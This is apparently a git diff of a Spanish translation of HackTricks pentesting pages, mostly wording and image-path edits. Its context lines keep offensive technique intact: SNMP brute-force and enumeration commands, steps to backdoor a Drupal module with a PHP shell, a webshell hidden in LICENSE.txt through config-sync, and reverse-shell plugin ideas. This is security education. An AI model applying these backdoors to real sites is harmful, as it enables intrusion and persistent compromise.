Para **adivinar la cadena de comunidad** podrías realizar un ataque de diccionario. Consulta [aquí diferentes formas de realizar un ataque de fuerza bruta contra SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Una cadena de comunidad frecuentemente utilizada es `public`.
|
||||||
|
|
||||||
|
@ -124,7 +124,7 @@ download-mibs
|
||||||
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
|
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
|
||||||
sudo vi /etc/snmp/snmp.conf
|
sudo vi /etc/snmp/snmp.conf
|
||||||
```
|
```
|
||||||
Si conoces una cadena de comunidad válida, puedes acceder a los datos utilizando **SNMPWalk** o **SNMP-Check**:
|
Si conoces una cadena de comunidad válida, puedes acceder a los datos usando **SNMPWalk** o **SNMP-Check**:
|
||||||
```bash
|
```bash
|
||||||
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
|
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
|
||||||
snmpbulkwalk -c public -v2c 10.10.11.136 .
|
snmpbulkwalk -c public -v2c 10.10.11.136 .
|
||||||
|
@ -193,7 +193,7 @@ Si tienes la **cadena** que te permite **escribir valores** dentro del servicio
|
||||||
|
|
||||||
## **SNMP Masivo**
|
## **SNMP Masivo**
|
||||||
|
|
||||||
[Braa ](https://github.com/mteg/braa) es un escáner SNMP masivo. El uso previsto de tal herramienta es, por supuesto, realizar consultas SNMP, pero a diferencia de snmpwalk de net-snmp, es capaz de consultar docenas o cientos de hosts simultáneamente, y en un solo proceso. Así, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido.
|
[Braa ](https://github.com/mteg/braa) es un escáner SNMP masivo. El uso previsto de tal herramienta es, por supuesto, realizar consultas SNMP, pero a diferencia de snmpwalk de net-snmp, es capaz de consultar decenas o cientos de hosts simultáneamente, y en un solo proceso. Así, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido.
|
||||||
|
|
||||||
Braa implementa su PROPIO stack SNMP, por lo que NO necesita ninguna biblioteca SNMP como net-snmp.
|
Braa implementa su PROPIO stack SNMP, por lo que NO necesita ninguna biblioteca SNMP como net-snmp.
|
||||||
|
|
||||||
|
@ -243,9 +243,9 @@ Si hay una ACL que solo permite que algunas IPs consulten el servicio SNMP, pued
|
||||||
* snmpd.conf
|
* snmpd.conf
|
||||||
* snmp-config.xml
|
* snmp-config.xml
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||||
|
|
||||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# 5800,5801,5900,5901 - Pentesting VNC
|
# 5800,5801,5900,5901 - Pentesting VNC
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
@ -60,15 +60,15 @@ Guardo la herramienta aquí también para facilitar el acceso:
|
||||||
|
|
||||||
* `port:5900 RFB`
|
* `port:5900 RFB`
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
En versiones anteriores de Drupal **(antes de la versión 8)**, era posible iniciar sesión como administrador y **habilitar el módulo `PHP filter`**, que "Permite que se evalúe el código/snippets PHP incrustados." Pero a partir de la versión 8, este módulo no se instala por defecto.
|
En versiones anteriores de Drupal **(antes de la versión 8)**, era posible iniciar sesión como administrador y **habilitar el módulo `PHP filter`**, que "Permite que se evalúe el código/snippets PHP incrustados." Pero a partir de la versión 8, este módulo no se instala por defecto.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Necesitas que el **plugin php esté instalado** (verifícalo accediendo a _/modules/php_ y si devuelve un **403** entonces, **existe**, si **no se encuentra**, entonces el **plugin php no está instalado**)
|
Necesitas que el **plugin php esté instalado** (verifícalo accediendo a _/modules/php_ y si devuelve un **403** entonces, **existe**, si **no se encuentra**, entonces **el plugin php no está instalado**)
|
||||||
|
|
||||||
Ve a _Modules_ -> (**Check**) _PHP Filter_ -> _Save configuration_
|
Ve a _Modules_ -> (**Check**) _PHP Filter_ -> _Save configuration_
|
||||||
|
|
||||||
|
@ -41,7 +41,7 @@ curl http://drupal-site.local/node/3
|
||||||
En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web después de la instalación predeterminada.
|
En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web después de la instalación predeterminada.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
A partir de la versión **8 en adelante, el** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **módulo no está instalado por defecto**. Para aprovechar esta funcionalidad, tendríamos que **instalar el módulo nosotros mismos**.
|
A partir de la versión **8**, el **[Módulo PHP Filter](https://www.drupal.org/project/php/releases/8.x-1.1)** **no está instalado por defecto**. Para aprovechar esta funcionalidad, tendríamos que **instalar el módulo nosotros mismos**.
|
||||||
|
|
||||||
1. Descargue la versión más reciente del módulo desde el sitio web de Drupal.
|
1. Descargue la versión más reciente del módulo desde el sitio web de Drupal.
|
||||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||||
|
@ -55,7 +55,7 @@ A partir de la versión **8 en adelante, el** [**PHP Filter**](https://www.drupa
|
||||||
En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web después de la instalación predeterminada.
|
En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web después de la instalación predeterminada.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Un módulo con puerta trasera puede ser creado **agregando un shell a un módulo existente**. Los módulos se pueden encontrar en el sitio web drupal.org. Elijamos un módulo como [CAPTCHA](https://www.drupal.org/project/captcha). Desplácese hacia abajo y copie el enlace del [archivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) tar.gz.
|
Un módulo con puerta trasera se puede crear **agregando un shell a un módulo existente**. Los módulos se pueden encontrar en el sitio web drupal.org. Elijamos un módulo como [CAPTCHA](https://www.drupal.org/project/captcha). Desplácese hacia abajo y copie el enlace para el tar.gz [archivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||||
|
|
||||||
* Descargue el archivo y extraiga su contenido.
|
* Descargue el archivo y extraiga su contenido.
|
||||||
```
|
```
|
||||||
|
@ -75,7 +75,7 @@ RewriteEngine On
|
||||||
RewriteBase /
|
RewriteBase /
|
||||||
</IfModule>
|
</IfModule>
|
||||||
```
|
```
|
||||||
* La configuración anterior aplicará reglas para la carpeta / cuando solicitemos un archivo en /modules. Copie ambos archivos en la carpeta captcha y cree un archivo.
|
* La configuración anterior aplicará reglas para la carpeta / cuando solicitamos un archivo en /modules. Copie ambos archivos en la carpeta captcha y cree un archivo.
|
||||||
```bash
|
```bash
|
||||||
mv shell.php .htaccess captcha
|
mv shell.php .htaccess captcha
|
||||||
tar cvf captcha.tar.gz captcha/
|
tar cvf captcha.tar.gz captcha/
|
||||||
|
@ -83,7 +83,7 @@ tar cvf captcha.tar.gz captcha/
|
||||||
* Suponiendo que tenemos **acceso administrativo** al sitio web, haga clic en **`Manage`** y luego en **`Extend`** en la barra lateral. A continuación, haga clic en el botón **`+ Install new module`**, y seremos llevados a la página de instalación, como `http://drupal-site.local/admin/modules/install`. Navegue hasta el archivo comprimido de Captcha con puerta trasera y haga clic en **`Install`**.
|
* Suponiendo que tenemos **acceso administrativo** al sitio web, haga clic en **`Manage`** y luego en **`Extend`** en la barra lateral. A continuación, haga clic en el botón **`+ Install new module`**, y seremos llevados a la página de instalación, como `http://drupal-site.local/admin/modules/install`. Navegue hasta el archivo comprimido de Captcha con puerta trasera y haga clic en **`Install`**.
|
||||||
* Una vez que la instalación sea exitosa, navegue a **`/modules/captcha/shell.php`** para ejecutar comandos.
|
* Una vez que la instalación sea exitosa, navegue a **`/modules/captcha/shell.php`** para ejecutar comandos.
|
||||||
|
|
||||||
## Backdooring Drupal con sincronización de configuración <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
## Puerta trasera en Drupal con sincronización de configuración <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||||
|
|
||||||
**Publicación compartida por** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
**Publicación compartida por** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||||||
|
|
||||||
|
@ -93,13 +93,13 @@ En el menú _Extend_ (/admin/modules), puede activar lo que parecen ser compleme
|
||||||
|
|
||||||
Antes de la activación:
|
Antes de la activación:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Después de la activación:
|
Después de la activación:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Parte 2 (aprovechando la función _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
### Parte 2 (aprovechando la función _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||||
|
|
||||||
|
@ -122,7 +122,7 @@ allow_insecure_uploads: false
|
||||||
...
|
...
|
||||||
|
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
A:
|
A:
|
||||||
|
|
||||||
|
@ -136,7 +136,7 @@ allow_insecure_uploads: true
|
||||||
...
|
...
|
||||||
|
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Parchear field.field.media.document.field\_media\_document.yml**
|
**Parchear field.field.media.document.field\_media\_document.yml**
|
||||||
|
|
||||||
|
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
|
||||||
|
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
A:
|
A:
|
||||||
|
|
||||||
|
@ -166,9 +166,9 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
||||||
...
|
...
|
||||||
|
|
||||||
```
|
```
|
||||||
> No lo uso en esta publicación del blog, pero se señala que es posible definir la entrada `file_directory` de manera arbitraria y que es vulnerable a un ataque de traversal de ruta (por lo que podemos retroceder dentro del árbol del sistema de archivos de Drupal).
|
> No lo uso en esta publicación del blog, pero se señala que es posible definir la entrada `file_directory` de manera arbitraria y que es vulnerable a un ataque de traversal de ruta (así que podemos retroceder dentro del árbol del sistema de archivos de Drupal).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Parte 3 (aprovechando la función _Agregar Documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
### Parte 3 (aprovechando la función _Agregar Documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||||
|
|
||||||
|
@ -200,7 +200,7 @@ Porque una vez que el Webshell (que llamaremos LICENSE.txt) se coloca en el serv
|
||||||
|
|
||||||
Simplemente porque si tomamos el siguiente archivo, por ejemplo [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (que ya está presente en el núcleo de Drupal), tenemos un archivo de 339 líneas y 17.6 KB de tamaño, que es perfecto para agregar un pequeño fragmento de código PHP en el medio (ya que el archivo es lo suficientemente grande).
|
Simplemente porque si tomamos el siguiente archivo, por ejemplo [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (que ya está presente en el núcleo de Drupal), tenemos un archivo de 339 líneas y 17.6 KB de tamaño, que es perfecto para agregar un pequeño fragmento de código PHP en el medio (ya que el archivo es lo suficientemente grande).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Archivo: LICENSE.txt parcheado
|
Archivo: LICENSE.txt parcheado
|
||||||
```txt
|
```txt
|
||||||
|
@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author
|
||||||
|
|
||||||
Primero, aprovechamos la función _Agregar Documento_ (/media/add/document) para subir nuestro archivo que contiene las directivas de Apache (.htaccess).
|
Primero, aprovechamos la función _Agregar Documento_ (/media/add/document) para subir nuestro archivo que contiene las directivas de Apache (.htaccess).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Parte 3.2 (subir archivo LICENSE.txt)**
|
**Parte 3.2 (subir archivo LICENSE.txt)**
|
||||||
|
|
||||||
|
|
|
@ -23,12 +23,12 @@ Si el script de precarga expone un punto final IPC desde el archivo main.js, el
|
||||||
|
|
||||||
Ejemplo de [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (tienes el ejemplo completo de cómo MS Teams abusó de XSS a RCE en esas diapositivas, este es solo un ejemplo muy básico):
|
Ejemplo de [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (tienes el ejemplo completo de cómo MS Teams abusó de XSS a RCE en esas diapositivas, este es solo un ejemplo muy básico):
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Ejemplo 1
|
## Ejemplo 1
|
||||||
|
|
||||||
Consulta cómo el `main.js` escucha en `getUpdate` y **descargará y ejecutará cualquier URL** pasada.\
|
Consulta cómo el `main.js` escucha en `getUpdate` y **descargará y ejecutará cualquier URL** pasada.\
|
||||||
Consulta también cómo `preload.js` **expone cualquier evento IPC** desde el main.
|
Consulta también cómo `preload.js` **expone cualquier evento IPC** desde main.
|
||||||
```javascript
|
```javascript
|
||||||
// Part of code of main.js
|
// Part of code of main.js
|
||||||
ipcMain.on('getUpdate', (event, url) => {
|
ipcMain.on('getUpdate', (event, url) => {
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# H2 - Base de datos Java SQL
|
# H2 - Base de datos Java SQL
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
Página oficial: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
Página oficial: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
||||||
|
@ -50,13 +48,11 @@ En [**esta publicación**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-met
|
||||||
},
|
},
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
@ -129,7 +129,7 @@ Estas son algunas de las acciones que un plugin malicioso podría realizar:
|
||||||
* **Shell inverso**: O conseguir un shell inverso.
|
* **Shell inverso**: O conseguir un shell inverso.
|
||||||
* **Proxy de DOM**: Si el confluence está dentro de una red privada, sería posible establecer una conexión a través del navegador de algún usuario con acceso a él y, por ejemplo, contactar al servidor ejecutando comandos a través de él.
|
* **Proxy de DOM**: Si el confluence está dentro de una red privada, sería posible establecer una conexión a través del navegador de algún usuario con acceso a él y, por ejemplo, contactar al servidor ejecutando comandos a través de él.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en **una carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en **una carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
|
|
@ -1,32 +1,32 @@
|
||||||
# File Upload
|
# Carga de Archivos
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
